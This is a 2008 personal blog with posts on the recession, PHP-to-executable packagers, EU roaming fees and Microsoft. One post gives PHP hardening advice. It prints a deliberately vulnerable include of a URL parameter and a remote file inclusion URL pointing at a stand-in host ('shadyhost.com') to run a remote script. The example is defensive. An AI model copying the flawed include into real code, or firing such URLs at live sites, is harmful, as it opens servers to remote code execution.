November 1st, 2008
Recession may be just a way of the economy getting sick and throwing up excessive competition and goods.
Only the strong survive and get stronger, eat up the work from the excessive competitions that went under.
Can it be the financial institutions fault for causing it and then scream for help when they see they’ve made a boo-boo. They finance the excessive competition then cry when the businesses cant pay their loans.
For someone to have a better living standard, someone has to give up some of theirs.
Europe is allowing various new countries into the EU where the minimum wage is like 1/4 of the average in France/Germany. Some employers, like in Germany for exmple, hire the labor from these low wage countries or move there, competition once again, so national employees have a hard time finding a new job as well as losing the old one.
Immigration is always good, as long as everyone gets treated equal.
October 25th, 2008
A friend of mine asked me what I thought of programs that convert your php, mysql driven web site into an executable for end users. Programs like Bambalam and ZZEE PHPExe.
I didn’t download them, but I think it basically sums up to packaging a web-server, the necessary php and mysql libraries used in your site and a cloned web browser.
PHP does not come with a graphics library, like frame, window, button, etc. Therefore, you would always need to render the graphics in something like html. Hence, the cloned browser.
I remember playing with a few compilers, just html, I think even before php came out, like 10 years ago, just to put together some eBooks, because that basically all you could do with it.
Now the programs packages everything up in executable file that launches the web-server, php, mysql, and then the cloned web-browser as one program.
All fine and good. But here are some thngs I think are worth taking into account:
I would think with all that packaged, the users executable file or files will be pretty big. I may be wrong but depending on your content, the file will probably be 10 megs or more.
So you may have to distribute it kind of like the OS in a cd/dvd/pen deal.
If you change wording or something in one of your html files, do you have to repackage everything (updates) and what happens to current settings, databases, etc? And how will that effect your work flow.
What happens if you have to get the full file path in php, where is the program installed?
Are the mysql tables, users, etc, created in the database before it is packaged?
And if needed, how will you bind changing user data with your own. For instance, the user is offline, and uses the database, and you need to update the changes on your servers database.
Another alternative is Google Gears, but its not a package it up solution, and you basically do have to understand the Gears API.
Will JavaScript, DOM, etc., work with the cloned browser that comes included?
All and all, i think it may be an option for the user to save on bandwidth etc, or if you really have no intention in creating stand alone applications in something like Java, VC, for web integration.
October 20th, 2008
If your working with php, here are some of the main things i´ve learned that you/your host should do to avoid getting site hacked.
In your php.ini file set the following configuration variables.
register_globals = Off
As it says in the .ini file:
; You should do your best to write your scripts so that they do not require
; register_globals to be on; Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
Most scripts will work with register_globals = Off.
Two other important configuration variables that should be turned off:
allow_url_fopen = Off
allow_url_include = Off
These are important. Suppose you have an index page that uses an url variable to include a page like http://www.blabla.com/index.php?pageID=main
Then in index.php you have something like
if($pageID) {
include “$pageID” . “.php”;
// which should actually be something like
// include “/home/to/my/web/” . $pageID . “.php”;
}
then the hacker does something like:
http://www.blabla.com/index.php?pageID=http://shadyhost.com/nasty_script.php
Do you see where im going with this?
You can check what values are set in your config file by calling this php function in a .php page.
<? phpinfo(); ?>
October 19th, 2008
My current job forces me to live a nomadic type of life style where I travel allot through Europe. And since WiFi or an internet connection is not always available, I had to sign up for a roaming package. Besides, WiFi is basically out of the question, you have to stand underneath the antenna and pay exorbitant fees like $5 every fifteen minutes when its not for free.
After shopping around a bit, I found that Vodafone had the cheapest plan. The only thing that sucked is, in order for me to have the roaming package, I also needed a regular home package. Anyway, the whole deal costs me about €80 Euros a month (over 100 dollars), and I only get to waste 100 megs of incoming and outgoing bandwidth. So, if you feel like this blog is a bit poor on images, etc., now you know why.
You would think that since its now (for the last 50+ years), a European community, and most countries in Europe do have a pretty advanced communication system, necessities like communication etc, would not be governed by ridiculous roaming fees. I’m not sure how much it costs to get mobile access for most of the USA, but it sure must be cheaper than $100+ for only 100 megs.
If its a European community, then it should really start behaving like one. Although I really cant blame Vodafone, because in terms of prices, I really cant find anything that comes close.
And for now, the 100 megs, wisely stretched, allow me to do my work, and keep in touch with family and friends (IM, mail, etc.). I’m even actually using my own cooked up editor on my local machine to post to this blog just to save a couple of megs of going to the admin section and posting.
So, bare with me if I seem slow to respond, or interact, or the site looks like a dictionary, im really stretching the megs the best I can.
October 19th, 2008
So I heard that he isn’t the richest guy in the world now.
Warren Buffet is? Made his killing, billions, off of the uncertainty of the Market.
"So your uncertain, huh? Well I’m not, this is all going to hell in a basket! gimme your cash."
And life goes on. Back to Mr. Gates.
He is the man. He took the ball and ran with it back in the late 70’s.
Lets face it, he didn’t invent the operating system, but he modified it in a way that let the non rocket scientist use it on a day to day basis. I love my Expression Web, Outlook Express, etc.
The only real grudge I have/actually had against MS was a good few years ago.
I decided to start coding in Java, its a simple language to code in, and if you are already familiar with JavaScript, PHP, etc, and now I think C#, its not that difficult of a learning curve. Anyway, MS had there own version of java installed on Windows, with their own subset of Java classes. So that’s where I focused. Plus the JRE, (java runtime environment), and compiler were allot quicker, in my opinion, compared to Suns.
I guess Sun didn’t like to much the idea of MS bundling there own classes, kind of like distorting Java, hence commenced the anti-trust suits etc.
The final outcome, MS paid millions in damages and decided to drop Java altogether. And months of coding went down the drain, along with future road-map etc. Although I think that they were required to install/give user option to install Java on a service pack, or something like that.
I could argue that MS should have if they could have bought Java, but would that help more than harm?
If bought, in the least, they definitely would have a strong hold on cell phones, set top boxes, and the rest of the Java arena, .jsp, and what not. But once again, it probably wouldn’t be open source.
I think Microsoft is in a kind of bind right now, but nothing life threatening. You have open source programs like Open Office, (which I definitely like), that basically replace your need, (most of us anyway), for Excel, MS Word, and its just as easy to use if not easier, with more functionality. And if you want to and can, you could always code it to your liking, its free and open source. Basically it comes down to the question, why pay for something when you can get almost the same thing for free.
They fell asleep on Internet Explorer and its crazy JavaScript engine, version 6 anyway, so now I love my Firefox. Googles Chrome didn’t really sell me, but then again, its still a baby.
Like using .asp, why not just download the xampp installer, and get Apache web server, php, mysql etc., all installed for free in less the 5 minutes. And although Windows is the de facto OS for the user, i would never trade it with Linux on a web hosting scope.
So now they say that they aren’t, but are probably still going after the Yahoo deal, not really sure where that stands right now, after the Google - Yahoo deal, and I heard that this time they´ll take the whole package. I’m not sure if MS wants/wanted Yahoos users and content, or just not letting Google get its hands on it. Personally, they should have just bought MySpace when it was available and pushed hotmail, MSIM and their new search engine, (which pays you to do searches on it). It would have definitely been allot cheaper to buy.
Lets see what happens, but they better do so some magic with Windows 7, which I heard is coming out in a year or so. And the first trick……. make Vista disappear (:P).
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